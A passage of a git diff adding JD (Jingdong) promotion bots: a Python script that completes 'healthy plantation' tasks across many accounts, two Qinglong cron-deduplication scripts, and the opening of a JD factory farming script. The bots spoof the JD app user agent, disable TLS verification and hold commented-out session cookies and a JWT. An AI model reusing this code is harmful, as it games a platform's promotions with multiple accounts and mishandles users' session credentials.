(KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9' + } + response = requests.get(url=url, verify=False, headers=headers) + result = response.json() + # print(result) + taskName = result['result']['taskVos'][0]['taskName'] + taskId = result['result']['taskVos'][0]['taskId'] + task_list = result['result']['taskVos'][0]['productInfoVos'] + # print(task_list) + for i in range (len (task_list)): + try: + taskToken = task_list[i]['taskToken'] + taskToken_list.append(taskToken) + except Exception as e: + pass + # print(taskName, taskId, taskToken_list) + return taskName, taskId, taskToken_list + except Exception as e: + print (e) + msg("【账号{0}】加购任务已全部完成".format(account)) + return '','','' + +#做任务 +def do_task(cookies,taskName,taskId,taskToken,sid,account): + try: + url = 'https://xinruismzd-isv.isvjcloud.com/api/do_task' + url1 = 'https://xinruismzd-isv.isvjcloud.com/api/catch_task' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/json, text/plain, */*', + "Content-Type":"application/json", + "Authorization":cookies, + 'Referer': f'https://xinruismzd-isv.isvjcloud.com/healthy-plant2021/?channel=ddjkicon&sid={sid}&un_area=19_1655_4866_0', + 'Host': 'xinruismzd-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;10.3.0;;;M/5.0;appBuild/167903;jdSupportDarkMode/0;ef/1;ep/%7B%22ciphertype%22%3A5%2C%22cipher%22%3A%7B%22ud%22%3A%22Ytq3YtKyDzO5CJuyZtu4CWSyZtC0Ytc1CJLsDwC5YwO0YtS5CNrsCK%3D%3D%22%2C%22sv%22%3A%22CJUkCK%3D%3D%22%2C%22iad%22%3A%22%22%7D%2C%22ts%22%3A1641370097%2C%22hdid%22%3A%22JM9F1ywUPwflvMIpYPok0tt5k9kW4ArJEU3lfLhxBqw%3D%22%2C%22version%22%3A%221.0.3%22%2C%22appname%22%3A%22com.360buy.jdmobile%22%2C%22ridx%22%3A-1%7D;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + # "Cookie":"__jd_ref_cls=Mnpm_ComponentApplied; mba_muid=16410448680341440020208.1480.1641370098735; mba_sid=1480.10; __jda=60969652.16410448680341440020208.1641044868.1641357628.1641370076.6; __jdb=60969652.3.16410448680341440020208|6.1641370076; __jdc=60969652; __jdv=60969652%7Ckong%7Ct_1000170135%7Ctuiguang%7Cnotset%7C1641349527806; pre_seq=8; pre_session=b87b02719192f981b2f34b7510b6c9ba4b2908b0|3687; jd-healthy-plantation=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC94aW5ydWlzbXpkLWlzdi5pc3ZqY2xvdWQuY29tXC9hcGlcL2F1dGgiLCJpYXQiOjE2NDEzNTU0NzksImV4cCI6MTY0MTM5ODY3OSwibmJmIjoxNjQxMzU1NDc5LCJqdGkiOiJTcGdZbU1HeU50c084c0Z2Iiwic3ViIjoiNWF1aVRrdlZRVl9icDQ3T0EtVmRQMVFOR3FQcEhMXzUtLU5XdGs5TUhPYyIsInBydiI6IjIzYmQ1Yzg5NDlmNjAwYWRiMzllNzAxYzQwMDg3MmRiN2E1OTc2ZjcifQ.cfuKGTSrCfBX2qxrTdcW2ME3ASBbTo-DCFRwHWoPiDg" + "Origin":"https://xinruismzd-isv.isvjcloud.com", + # "Content-Length":"124", + } + data = r'{"taskToken":"' +f"{taskToken}" +r'","task_id":' + f"{taskId}" + r',"task_type":9,"task_name":"' + f"{taskName}" + r'"}' + res = requests.post(url=url1, verify=False, headers=headers,data=data.encode()) + # print(res.status_code) + if res.status_code == 200: + msg("正在执行任务,请稍等10秒") + time.sleep(10) + response = requests.post(url=url, verify=False, headers=headers,data=data.encode()) #data中有汉字,需要encode为utf-8 + result = response.json() + print(result) + score = result['score'] + msg ("执行任务【{0}】成功,获取【{1}】能量".format (taskName,score)) + except Exception as e: + print(e) + +#做任务 +def do_task2(cookies,taskName,taskId,taskToken,sid,account): + try: + url = 'https://xinruismzd-isv.isvjcloud.com/api/do_task' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/json, text/plain, */*', + "Content-Type":"application/json", + "Authorization":cookies, + 'Referer': f'https://xinruismzd-isv.isvjcloud.com/healthy-plant2021/?channel=ddjkicon&sid={sid}&un_area=19_1655_4866_0', + 'Host': 'xinruismzd-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;10.3.0;;;M/5.0;appBuild/167903;jdSupportDarkMode/0;ef/1;ep/%7B%22ciphertype%22%3A5%2C%22cipher%22%3A%7B%22ud%22%3A%22Ytq3YtKyDzO5CJuyZtu4CWSyZtC0Ytc1CJLsDwC5YwO0YtS5CNrsCK%3D%3D%22%2C%22sv%22%3A%22CJUkCK%3D%3D%22%2C%22iad%22%3A%22%22%7D%2C%22ts%22%3A1641370097%2C%22hdid%22%3A%22JM9F1ywUPwflvMIpYPok0tt5k9kW4ArJEU3lfLhxBqw%3D%22%2C%22version%22%3A%221.0.3%22%2C%22appname%22%3A%22com.360buy.jdmobile%22%2C%22ridx%22%3A-1%7D;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + # "Cookie":"__jd_ref_cls=Mnpm_ComponentApplied; mba_muid=16410448680341440020208.1480.1641370098735; mba_sid=1480.10; __jda=60969652.16410448680341440020208.1641044868.1641357628.1641370076.6; __jdb=60969652.3.16410448680341440020208|6.1641370076; __jdc=60969652; __jdv=60969652%7Ckong%7Ct_1000170135%7Ctuiguang%7Cnotset%7C1641349527806; pre_seq=8; pre_session=b87b02719192f981b2f34b7510b6c9ba4b2908b0|3687; jd-healthy-plantation=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC94aW5ydWlzbXpkLWlzdi5pc3ZqY2xvdWQuY29tXC9hcGlcL2F1dGgiLCJpYXQiOjE2NDEzNTU0NzksImV4cCI6MTY0MTM5ODY3OSwibmJmIjoxNjQxMzU1NDc5LCJqdGkiOiJTcGdZbU1HeU50c084c0Z2Iiwic3ViIjoiNWF1aVRrdlZRVl9icDQ3T0EtVmRQMVFOR3FQcEhMXzUtLU5XdGs5TUhPYyIsInBydiI6IjIzYmQ1Yzg5NDlmNjAwYWRiMzllNzAxYzQwMDg3MmRiN2E1OTc2ZjcifQ.cfuKGTSrCfBX2qxrTdcW2ME3ASBbTo-DCFRwHWoPiDg" + "Origin":"https://xinruismzd-isv.isvjcloud.com", + # "Content-Length":"124", + } + data = r'{"taskToken":"' +f"{taskToken}" +r'","task_id":' + f"{taskId}" + r',"task_type":9,"task_name":"' + f"{taskName}" + r'"}' + time.sleep(1) + response = requests.post(url=url, verify=False, headers=headers,data=data.encode()) #data中有汉字,需要encode为utf-8 + result = response.json() + # print(result) + score = result['score'] + msg ("执行任务【{0}】成功,获取【{1}】能量".format (taskName,score)) + except Exception as e: + print(e) + + +#充能 +def charge(charge_targe_id,cookies,sid,account): + if len(charge_targe_id)==0: + msg("账号【{0}】未种植".format(account)) + return + try: + url = 'https://xinruismzd-isv.isvjcloud.com/api/add_growth_value' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/json, text/plain, */*', + "Content-Type":"application/json", + "Authorization":cookies, + 'Referer': f'https://xinruismzd-isv.isvjcloud.com/healthy-plant2021/?channel=ddjkicon&sid={sid}&un_area=19_1655_4866_0', + 'Host': 'xinruismzd-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;10.3.0;;;M/5.0;appBuild/167903;jdSupportDarkMode/0;ef/1;ep/%7B%22ciphertype%22%3A5%2C%22cipher%22%3A%7B%22ud%22%3A%22Ytq3YtKyDzO5CJuyZtu4CWSyZtC0Ytc1CJLsDwC5YwO0YtS5CNrsCK%3D%3D%22%2C%22sv%22%3A%22CJUkCK%3D%3D%22%2C%22iad%22%3A%22%22%7D%2C%22ts%22%3A1641370097%2C%22hdid%22%3A%22JM9F1ywUPwflvMIpYPok0tt5k9kW4ArJEU3lfLhxBqw%3D%22%2C%22version%22%3A%221.0.3%22%2C%22appname%22%3A%22com.360buy.jdmobile%22%2C%22ridx%22%3A-1%7D;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + # "Cookie":"__jd_ref_cls=Mnpm_ComponentApplied; mba_muid=16410448680341440020208.1480.1641370098735; mba_sid=1480.10; __jda=60969652.16410448680341440020208.1641044868.1641357628.1641370076.6; __jdb=60969652.3.16410448680341440020208|6.1641370076; __jdc=60969652; __jdv=60969652%7Ckong%7Ct_1000170135%7Ctuiguang%7Cnotset%7C1641349527806; pre_seq=8; pre_session=b87b02719192f981b2f34b7510b6c9ba4b2908b0|3687; jd-healthy-plantation=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC94aW5ydWlzbXpkLWlzdi5pc3ZqY2xvdWQuY29tXC9hcGlcL2F1dGgiLCJpYXQiOjE2NDEzNTU0NzksImV4cCI6MTY0MTM5ODY3OSwibmJmIjoxNjQxMzU1NDc5LCJqdGkiOiJTcGdZbU1HeU50c084c0Z2Iiwic3ViIjoiNWF1aVRrdlZRVl9icDQ3T0EtVmRQMVFOR3FQcEhMXzUtLU5XdGs5TUhPYyIsInBydiI6IjIzYmQ1Yzg5NDlmNjAwYWRiMzllNzAxYzQwMDg3MmRiN2E1OTc2ZjcifQ.cfuKGTSrCfBX2qxrTdcW2ME3ASBbTo-DCFRwHWoPiDg" + "Origin":"https://xinruismzd-isv.isvjcloud.com", + # "Content-Length":"124", + } + data = r'{"plant_id":' + f"{charge_targe_id}" + r'}' + for i in range(10): + response = requests.post(url=url, verify=False, headers=headers,data=data.encode()) #data中有汉字,需要encode为utf-8 + result = response.json() + print(result) + user_coins = result['user_coins'] #剩余能量 + coins = result['plant_info']['coins'] #消耗能量 + msg ("充能成功,消耗【{0}】能量,剩余能量【{1}】".format (coins,user_coins)) + time.sleep(2) + + except Exception as e: + # print(e) + message = result['message'] + if "充值次数达到上限" in message: + msg("账号【{0}】充能次数已达上限10次".format(account)) + + +def start(): + global cookie,cookies,charge_targe_id + print (f"\n【准备开始...】\n") + nowtime = datetime.datetime.now ().strftime ('%Y-%m-%d %H:%M:%S.%f8') + if cookie != '': + account = setName (cookie) + msg ("★★★★★正在账号{}的任务★★★★★".format (account)) + access_token = get_ck(cookie,sid_ck,account) + cookie = get_Authorization (access_token, account) + get_planted_info (cookie, sid,account) + if nowtime > flag_time1 and nowtime < flag_time2: + taskName,taskId,taskToken = get_sleep (cookie,sid) + do_task(cookie,taskName,taskId,taskToken,sid,account) + charge(charge_targe_id,cookie,sid,account) + else: + taskName_list,taskId_list,taskToken_list = get_task (cookie,sid,account) + for i,j,k in zip(taskName_list,taskId_list,taskToken_list): + do_task(cookie,i,j,k,sid,account) + taskName, taskId, taskToken_list = get_task2(cookie,sid,account) + for i in taskToken_list: + do_task2 (cookie, taskName, taskId, i, sid,account) + charge(charge_targe_id,cookie,sid, account) + elif cookies != '': + for cookie in cookies: + try: + account = setName (cookie) + msg ("★★★★★正在账号{}的任务★★★★★".format (account)) + charge_targe_id='' + access_token = get_ck (cookie, sid_ck,account) + cookie = get_Authorization (access_token, account) + get_planted_info (cookie,sid,account) + if nowtime > flag_time1 and nowtime < flag_time2: + taskName, taskId, taskToken = get_sleep (cookie,sid) + do_task (cookie, taskName, taskId, taskToken, sid,account) + else: + taskName_list, taskId_list, taskToken_list = get_task (cookie, sid,account) + for i, j, k in zip (taskName_list, taskId_list, taskToken_list): + do_task (cookie, i, j, k, sid,account) + taskName, taskId, taskToken_list = get_task2 (cookie,sid, account) + for i in taskToken_list: + do_task2 (cookie, taskName, taskId, i, sid,account) + + except Exception as e: + pass + charge (charge_targe_id, cookie, sid, account) + else: + printT("请检查变量plant_cookie是否已填写") + +if __name__ == '__main__': + printT("京东健康社区-种植园") + start () + if '成熟' in msg_info: + send ("京东健康社区-种植园", msg_info) + if '成功' in msg_info: + send ("京东健康社区-种植园", msg_info) diff --git a/jd_identical.py b/jd_identical.py new file mode 100644 index 0000000..4669906 --- /dev/null +++ b/jd_identical.py @@ -0,0 +1,200 @@ +# -*- coding:utf-8 -*- +""" +cron: 50 * * * * +new Env('禁用重复任务'); +""" + +import json +import logging +import os +import sys +import time +import traceback + +import requests + +logger = logging.getLogger(name=None) # 创建一个日志对象 +logging.Formatter("%(message)s") # 日志内容格式化 +logger.setLevel(logging.INFO) # 设置日志等级 +logger.addHandler(logging.StreamHandler()) # 添加控制台日志 +# logger.addHandler(logging.FileHandler(filename="text.log", mode="w")) # 添加文件日志 + + +ipport = os.getenv("IPPORT") +if not ipport: + logger.info( + "如果报错请在环境变量中添加你的真实 IP:端口\n名称:IPPORT\t值:127.0.0.1:5700\n或在 config.sh 中添加 export IPPORT='127.0.0.1:5700'" + ) + ipport = "localhost:5700" +else: + ipport = ipport.lstrip("http://").rstrip("/") +sub_str = os.getenv("RES_SUB", "shufflewzc_faker2") +sub_list = sub_str.split("&") +res_only = os.getenv("RES_ONLY", True) +headers = { + "Accept": "application/json", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36", +} + + +def load_send() -> None: + logger.info("加载推送功能中...") + global send + send = None + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/notify.py"): + try: + from notify import send + except Exception: + send = None + logger.info(f"❌加载通知服务失败!!!\n{traceback.format_exc()}") + + +def get_tasklist() -> list: + tasklist = [] + t = round(time.time() * 1000) + url = f"http://{ipport}/api/crons?searchValue=&t={t}" + response = requests.get(url=url, headers=headers) + datas = json.loads(response.content.decode("utf-8")) + if datas.get("code") == 200: + tasklist = datas.get("data") + return tasklist + + +def filter_res_sub(tasklist: list) -> tuple: + filter_list = [] + res_list = [] + for task in tasklist: + for sub in sub_list: + if task.get("command").find(sub) == -1: + flag = False + else: + flag = True + break + if flag: + res_list.append(task) + else: + filter_list.append(task) + return filter_list, res_list + + +def get_index(lst: list, item: str) -> list: + return [index for (index, value) in enumerate(lst) if value == item] + + +def get_duplicate_list(tasklist: list) -> tuple: + logger.info("\n=== 第一轮初筛开始 ===") + + ids = [] + names = [] + cmds = [] + for task in tasklist: + ids.append(task.get("_id")) + names.append(task.get("name")) + cmds.append(task.get("command")) + + name_list = [] + for i, name in enumerate(names): + if name not in name_list: + name_list.append(name) + + tem_tasks = [] + tem_ids = [] + dup_ids = [] + for name2 in name_list: + name_index = get_index(names, name2) + for i in range(len(name_index)): + if i == 0: + logger.info(f"【✅保留】{cmds[name_index[0]]}") + tem_tasks.append(tasklist[name_index[0]]) + tem_ids.append(ids[name_index[0]]) + else: + logger.info(f"【🚫禁用】{cmds[name_index[i]]}") + dup_ids.append(ids[name_index[i]]) + logger.info("") + + logger.info("=== 第一轮初筛结束 ===") + + return tem_ids, tem_tasks, dup_ids + + +def reserve_task_only( + tem_ids: list, tem_tasks: list, dup_ids: list, res_list: list +) -> list: + if len(tem_ids) == 0: + return tem_ids + + logger.info("\n=== 最终筛选开始 ===") + task3 = None + for task1 in tem_tasks: + for task2 in res_list: + if task1.get("name") == task2.get("name"): + dup_ids.append(task1.get("_id")) + logger.info(f"【✅保留】{task2.get('command')}") + task3 = task1 + if task3: + logger.info(f"【🚫禁用】{task3.get('command')}\n") + task3 = None + logger.info("=== 最终筛选结束 ===") + return dup_ids + + +def disable_duplicate_tasks(ids: list) -> None: + t = round(time.time() * 1000) + url = f"http://{ipport}/api/crons/disable?t={t}" + data = json.dumps(ids) + headers["Content-Type"] = "application/json;charset=UTF-8" + response = requests.put(url=url, headers=headers, data=data) + datas = json.loads(response.content.decode("utf-8")) + if datas.get("code") != 200: + logger.info(f"❌出错!!!错误信息为:{datas}") + else: + logger.info("🎉成功禁用重复任务~") + + +def get_token() -> str or None: + try: + with open("/ql/config/auth.json", "r", encoding="utf-8") as f: + data = json.load(f) + except Exception: + logger.info(f"❌无法获取 token!!!\n{traceback.format_exc()}") + send("💔禁用重复任务失败", "无法获取 token!!!") + exit(1) + return data.get("token") + + +if __name__ == "__main__": + logger.info("===> 禁用重复任务开始 <===") + load_send() + token = get_token() + headers["Authorization"] = f"Bearer {token}" + + # 获取过滤后的任务列表 + sub_str = "\n".join(sub_list) + logger.info(f"\n=== 你选择过滤的任务前缀为 ===\n{sub_str}") + tasklist = get_tasklist() + if len(tasklist) == 0: + logger.info("❌无法获取 tasklist!!!") + exit(1) + filter_list, res_list = filter_res_sub(tasklist) + + tem_ids, tem_tasks, dup_ids = get_duplicate_list(filter_list) + # 是否在重复任务中只保留设置的前缀 + if res_only: + ids = reserve_task_only(tem_ids, tem_tasks, dup_ids, res_list) + else: + ids = dup_ids + logger.info("你选择保留除了设置的前缀以外的其他任务") + + sum = f"所有任务数量为:{len(tasklist)}" + filter = f"过滤的任务数量为:{len(res_list)}" + disable = f"禁用的任务数量为:{len(ids)}" + logging.info("\n=== 禁用数量统计 ===\n" + sum + "\n" + filter + "\n" + disable) + + if len(ids) == 0: + logger.info("😁没有重复任务~") + else: + disable_duplicate_tasks(ids) + if send: + send("💖禁用重复任务成功", f"\n{sum}\n{filter}\n{disable}") diff --git a/jd_identicalnew.py b/jd_identicalnew.py new file mode 100644 index 0000000..2eba9a2 --- /dev/null +++ b/jd_identicalnew.py @@ -0,0 +1,200 @@ +# -*- coding:utf-8 -*- +""" +cron: 50 * * * * +new Env('禁用重复任务青龙2.11版本'); +""" + +import json +import logging +import os +import sys +import time +import traceback + +import requests + +logger = logging.getLogger(name=None) # 创建一个日志对象 +logging.Formatter("%(message)s") # 日志内容格式化 +logger.setLevel(logging.INFO) # 设置日志等级 +logger.addHandler(logging.StreamHandler()) # 添加控制台日志 +# logger.addHandler(logging.FileHandler(filename="text.log", mode="w")) # 添加文件日志 + + +ipport = os.getenv("IPPORT") +if not ipport: + logger.info( + "如果报错请在环境变量中添加你的真实 IP:端口\n名称:IPPORT\t值:127.0.0.1:5700\n或在 config.sh 中添加 export IPPORT='127.0.0.1:5700'" + ) + ipport = "localhost:5700" +else: + ipport = ipport.lstrip("http://").rstrip("/") +sub_str = os.getenv("RES_SUB", "okyyds_yyds_master") +sub_list = sub_str.split("&") +res_only = os.getenv("RES_ONLY", True) +headers = { + "Accept": "application/json", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36", +} + + +def load_send() -> None: + logger.info("加载推送功能中...") + global send + send = None + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/notify.py"): + try: + from notify import send + except Exception: + send = None + logger.info(f"❌加载通知服务失败!!!\n{traceback.format_exc()}") + + +def get_tasklist() -> list: + tasklist = [] + t = round(time.time() * 1000) + url = f"http://{ipport}/api/crons?searchValue=&t={t}" + response = requests.get(url=url, headers=headers) + datas = json.loads(response.content.decode("utf-8")) + if datas.get("code") == 200: + tasklist = datas.get("data") + return tasklist + + +def filter_res_sub(tasklist: list) -> tuple: + filter_list = [] + res_list = [] + for task in tasklist: + for sub in sub_list: + if task.get("command").find(sub) == -1: + flag = False + else: + flag = True + break + if flag: + res_list.append(task) + else: + filter_list.append(task) + return filter_list, res_list + + +def get_index(lst: list, item: str) -> list: + return [index for (index, value) in enumerate(lst) if value == item] + + +def get_duplicate_list(tasklist: list) -> tuple: + logger.info("\n=== 第一轮初筛开始 ===") + + ids = [] + names = [] + cmds = [] + for task in tasklist: + ids.append(task.get("id")) + names.append(task.get("name")) + cmds.append(task.get("command")) + + name_list = [] + for i, name in enumerate(names): + if name not in name_list: + name_list.append(name) + + tem_tasks = [] + temids = [] + dupids = [] + for name2 in name_list: + name_index = get_index(names, name2) + for i in range(len(name_index)): + if i == 0: + logger.info(f"【✅保留】{cmds[name_index[0]]}") + tem_tasks.append(tasklist[name_index[0]]) + temids.append(ids[name_index[0]]) + else: + logger.info(f"【🚫禁用】{cmds[name_index[i]]}") + dupids.append(ids[name_index[i]]) + logger.info("") + + logger.info("=== 第一轮初筛结束 ===") + + return temids, tem_tasks, dupids + + +def reserve_task_only( + temids: list, tem_tasks: list, dupids: list, res_list: list +) -> list: + if len(temids) == 0: + return temids + + logger.info("\n=== 最终筛选开始 ===") + task3 = None + for task1 in tem_tasks: + for task2 in res_list: + if task1.get("name") == task2.get("name"): + dupids.append(task1.get("id")) + logger.info(f"【✅保留】{task2.get('command')}") + task3 = task1 + if task3: + logger.info(f"【🚫禁用】{task3.get('command')}\n") + task3 = None + logger.info("=== 最终筛选结束 ===") + return dupids + + +def disable_duplicate_tasks(ids: list) -> None: + t = round(time.time() * 1000) + url = f"http://{ipport}/api/crons/disable?t={t}" + data = json.dumps(ids) + headers["Content-Type"] = "application/json;charset=UTF-8" + response = requests.put(url=url, headers=headers, data=data) + datas = json.loads(response.content.decode("utf-8")) + if datas.get("code") != 200: + logger.info(f"❌出错!!!错误信息为:{datas}") + else: + logger.info("🎉成功禁用重复任务~") + + +def get_token() -> str or None: + try: + with open("/ql/config/auth.json", "r", encoding="utf-8") as f: + data = json.load(f) + except Exception: + logger.info(f"❌无法获取 token!!!\n{traceback.format_exc()}") + send("💔禁用重复任务失败", "无法获取 token!!!") + exit(1) + return data.get("token") + + +if __name__ == "__main__": + logger.info("===> 禁用重复任务开始 <===") + load_send() + token = get_token() + headers["Authorization"] = f"Bearer {token}" + + # 获取过滤后的任务列表 + sub_str = "\n".join(sub_list) + logger.info(f"\n=== 你选择过滤的任务前缀为 ===\n{sub_str}") + tasklist = get_tasklist() + if len(tasklist) == 0: + logger.info("❌无法获取 tasklist!!!") + exit(1) + filter_list, res_list = filter_res_sub(tasklist) + + temids, tem_tasks, dupids = get_duplicate_list(filter_list) + # 是否在重复任务中只保留设置的前缀 + if res_only: + ids = reserve_task_only(temids, tem_tasks, dupids, res_list) + else: + ids = dupids + logger.info("你选择保留除了设置的前缀以外的其他任务") + + sum = f"所有任务数量为:{len(tasklist)}" + filter = f"过滤的任务数量为:{len(res_list)}" + disable = f"禁用的任务数量为:{len(ids)}" + logging.info("\n=== 禁用数量统计 ===\n" + sum + "\n" + filter + "\n" + disable) + + if len(ids) == 0: + logger.info("😁没有重复任务~") + else: + disable_duplicate_tasks(ids) + if send: + send("💖禁用重复任务成功", f"\n{sum}\n{filter}\n{disable}") diff --git a/jd_jdfactory.js b/jd_jdfactory.js new file mode 100644 index 0000000..a932bb9 --- /dev/null +++ b/jd_jdfactory.js @@ -0,0 +1,771 @@ +/* +Last Modified time: 2020-12-26 22:58:02 +东东工厂,不是京喜工厂 +活动入口:京东APP首页-数码电器-东东工厂 +免费产生的电量(10秒1个电量,500个电量满,5000秒到上限不生产,算起来是84分钟达到上限) +故建议1小时运行一次 +开会员任务和去京东首页点击“数码电器任务目前未做 +不会每次运行脚本都投入电力 +只有当心仪的商品存在,并且收集起来的电量满足当前商品所需电力,才投入 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#东东工厂 +10 * * * * jd_jdfactory.js, tag=东东工厂, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_factory.png, enabled=true + +================Loon============== +[Script] +cron "10 * * * *" script-path=jd_jdfactory.js,tag=东东工厂 + +===============Surge================= +东东工厂 = type=cron,cronexp="10 * * * *",wake-system=1,timeout=3600,script-path=jd_jdfactory.js + +============小火箭========= +东东工厂 = type=cron,script-path=jd_jdfactory.js, cronexpr="10 * * * *", timeout=3600, enable=true + */ +const $ = new Env('东东工厂'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (process.env.JDFACTORY_FORBID_ACCOUNT) process.env.JDFACTORY_FORBID_ACCOUNT.split('&').map((item, index) => Number(item) === 0 ? cookiesArr = [] : cookiesArr.splice(Number(item) - 1 - index, 1)) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let wantProduct = ``;//心仪商品名称 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const inviteCodes = ['T0159KUiH11Mq1bSKBoCjVWnYaS5kRrbA', 'T0225KkcRh9P9FbRKUygl_UJcgCjVWnYaS5kRrbA', 'T011tvV3SBcQ8VwCjVWnYaS5kRrbA', 'T0225KkcR0pM91aBIhmgxf9bcACjVWnYaS5kRrbA', 'T0205KkcEV9ThDGWdWGw0K5uCjVWnYaS5kRrbA', 'T0225KkcRktN8lyBdEj1kaQMdwCjVWnYaS5kRrbA', 'P04z54XCjVWnYaS5uCHk7RxfanmDaDzc6FquQ']; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat(); + await jdFactory() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdFactory() { + try { + await jdfactory_getHomeData(); + await helpFriends(); + // $.newUser !==1 && $.haveProduct === 2,老用户但未选购商品 + // $.newUser === 1新用户 + if ($.newUser === 1) return + await jdfactory_collectElectricity();//收集产生的电量 + await jdfactory_getTaskDetail(); + await doTask(); + await algorithm();//投入电力逻辑 + await showMsg(); + } catch (e) { + $.logErr(e) + } +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`${message}`); + } + if (new Date().getHours() === 12) { + $.msg($.name, '', `${message}`); + } + resolve() + }) +} +async function algorithm() { + // 当心仪的商品存在,并且收集起来的电量满足当前商品所需,就投入 + return new Promise(resolve => { + $.post(taskPostUrl('jdfactory_getHomeData'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.haveProduct = data.data.result.haveProduct; + $.userName = data.data.result.userName; + $.newUser = data.data.result.newUser; + wantProduct = $.isNode() ? (process.env.FACTORAY_WANTPRODUCT_NAME ? process.env.FACTORAY_WANTPRODUCT_NAME : wantProduct) : ($.getdata('FACTORAY_WANTPRODUCT_NAME') ? $.getdata('FACTORAY_WANTPRODUCT_NAME') : wantProduct); + if (data.data.result.factoryInfo) { + let { totalScore, useScore, produceScore, remainScore, couponCount, name } = data.data.result.factoryInfo + console.log(`\n已选商品:${name}`); + console.log(`当前已投入电量/所需电量:${useScore}/${totalScore}`); + console.log(`已选商品剩余量:${couponCount}`); + console.log(`当前总电量:${remainScore * 1 + useScore * 1}`); + console.log(`当前完成度:${((remainScore * 1 + useScore * 1)/(totalScore * 1)).toFixed(2) * 100}%\n`); + message += `京东账号${$.index} ${$.nickName}\n`; + message += `已选商品:${name}\n`; + message += `当前已投入电量/所需电量:${useScore}/${totalScore}\n`; + message += `已选商品剩余量:${couponCount}\n`; + message += `当前总电量:${remainScore * 1 + useScore * 1}\n`; + message += `当前完成度:${((remainScore * 1 + useScore * 1)/(totalScore * 1)).toFixed(2) * 100}%\n`; + if (wantProduct) { + console.log(`BoxJs或环境变量提供的心仪商品:${wantProduct}\n`); + await jdfactory_getProductList(true); + let wantProductSkuId = ''; + for (let item of $.canMakeList) { + if (item.name.indexOf(wantProduct) > - 1) { + totalScore = item['fullScore'] * 1; + couponCount = 